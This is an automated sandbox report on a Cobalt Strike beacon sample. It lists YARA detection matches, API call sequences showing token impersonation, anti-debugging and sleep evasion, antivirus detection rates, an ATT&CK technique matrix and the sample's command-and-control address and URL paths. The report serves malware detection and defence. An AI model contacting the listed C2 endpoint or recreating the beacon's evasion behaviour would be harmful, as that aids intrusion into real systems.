Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: Process Memory Space: beacon.exe PID: 5204, type: MEMORYSTR	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: Process Memory Space: beacon.exe PID: 5204, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: Process Memory Space: beacon.exe PID: 5204, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00884190	0_2_00884190
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008811E1	0_2_008811E1
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008769F9	0_2_008769F9
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00880938	0_2_00880938
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00883955	0_2_00883955
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00881A0D	0_2_00881A0D
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00883BC0	0_2_00883BC0
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00883330	0_2_00883330
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00871B79	0_2_00871B79
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008815ED	0_2_008815ED
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00880E0D	0_2_00880E0D

Source: C:\Users\user\Desktop\beacon.exe

Code function: String function: 00876FC0 appears 38 times

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00863889 CreateProcessAsUserA,GetLastError,GetLastError,GetLastError,CreateProcessA,GetLastError,

0_2_00863889

Source: beacon.exe	Virustotal: Detection: 83%
Source: beacon.exe	Metadefender: Detection: 71%
Source: beacon.exe	ReversingLabs: Detection: 92%

Source: beacon.exe

Static PE information: Section: .text IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_CNT_CODE, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\beacon.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\beacon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00862FCC LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_00862FCC

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/2@0/1

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_008684C1 _memset,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,CloseHandle,CloseHandle,OpenProcess,ProcessIdToSessionId,CloseHandle,Process32Next,CloseHandle,

0_2_008684C1

Source: C:\Users\user\Desktop\beacon.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00877005 push ecx; ret	0_2_00877018
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0088E1DC push ds; retf	0_2_0088E25D
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0088E13F push ds; retf	0_2_0088E25D
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00888AFB push 0000006Ah; retf	0_2_00888BD4
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0088E208 push ds; retf	0_2_0088E25D
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00888B63 push 0000006Ah; retf	0_2_00888BD4
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00888B65 push 0000006Ah; retf	0_2_00888BD4

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00401949 _winmajor,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_00401949

Source: C:\Users\user\Desktop\beacon.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00862CE5		0_2_00862CE5
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00866401		0_2_00866401

Source: C:\Users\user\Desktop\beacon.exe TID: 5352	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\beacon.exe TID: 5352	Thread sleep time: -370000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\beacon.exe TID: 2904	Thread sleep time: -1320000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\beacon.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\beacon.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00866401

0_2_00866401

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00864023 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00864023
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008686E6 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_008686E6

Source: C:\Users\user\Desktop\beacon.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: beacon.exe, 00000000.00000003.462889833.0000000000A19000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_0087C09E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0087C09E

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00401949 _winmajor,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_00401949

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_0088202C CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_0088202C

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00868B02 mov eax, dword ptr fs:[00000030h]		0_2_00868B02
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00869792 mov eax, dword ptr fs:[00000030h]		0_2_00869792

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,GetProcAddress,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,	0_2_00401180
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_004028E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_004028E0
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0087C09E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0087C09E
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008782D6 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008782D6
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0087E2E1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0087E2E1

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_0086AB5E LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_0086AB5E

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_0086AD18 GetCurrentProcessId,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0086AD18

Source: C:\Users\user\Desktop\beacon.exe

Code function: GetLocaleInfoA,

0_2_0088248D

Source: C:\Users\user\Desktop\beacon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00401648 CreateNamedPipeA,ConnectNamedPipe,WriteFile,FindCloseChangeNotification,

0_2_00401648

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_00402810 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00402810

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_008664B3 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_008664B3

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_008664B3 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_008664B3

Remote Access Functionality:

Yara detected CobaltStrike

Show sources

Source: Yara match	File source: Process Memory Space: beacon.exe PID: 5204, type: MEMORYSTR
Source: Yara match	File source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00866A49 socket,htons,ioctlsocket,closesocket,bind,listen,		0_2_00866A49
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_0086AF43 socket,closesocket,htons,bind,listen,		0_2_0086AF43

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts2	Native API1	Valid Accounts2	Valid Accounts2	Valid Accounts2	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Access Token Manipulation21	Virtualization/Sandbox Evasion11	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection1	Access Token Manipulation21	Security Account Manager	Security Software Discovery131	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	Virtualization/Sandbox Evasion11	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	Account Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	File and Directory Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Information Discovery14	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
beacon.exe	84%	Virustotal		Browse
beacon.exe	74%	Metadefender		Browse
beacon.exe	93%	ReversingLabs	Win32.Trojan.CobaltStrike
beacon.exe	100%	Avira	TR/Crypt.XPACK.Gen7
beacon.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.beacon.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.beacon.exe.860000.2.unpack	100%	Avira	TR/Spy.Gen	Download File
0.0.beacon.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.beacon.exe.690000.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://185.156.73.37:33287/.73.37:33287/	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/_	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.adb9a1	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.ads	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/My	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/hy	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.adM	0%	Avira URL Cloud	safe
https://185.156.73.37/	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.ad	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/la	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/0	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.adPN	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.aded	0%	Avira URL Cloud	safe
http://127.0.0.1:%u/	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/.73.37:33287/hy	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.adB	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/oft	0%	Avira URL Cloud	safe
185.156.73.37	0%	Avira URL Cloud	safe
https://185.156.73.37:33287/j.adb9a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
185.156.73.37	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://185.156.73.37:33287/.73.37:33287/	beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/_	beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adb9a1	beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.ads	beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/My	beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/hy	beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adM	beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adm	beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	false		unknown
https://185.156.73.37/	beacon.exe, 00000000.00000003.462889833.0000000000A19000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.ad	beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/la	beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/	beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/0	beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adPN	beacon.exe, 00000000.00000003.462889833.0000000000A19000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.aded	beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:%u/	beacon.exe, 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	false	Avira URL Cloud: safe	low
https://185.156.73.37:33287/.73.37:33287/hy	beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp, beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adB	beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/oft	beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp, beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.156.73.37:33287/j.adb9a	beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.156.73.37	unknown	Russian Federation		48817	RELDAS-NETRU	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	477089
Start date:	03.09.2021
Start time:	10:55:50
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	beacon.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/2@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 19.1% (good quality ratio 16.6%) Quality average: 67.7% Quality standard deviation: 35%
HCA Information:	Successful, ratio: 80% Number of executed functions: 25 Number of non-executed functions: 98
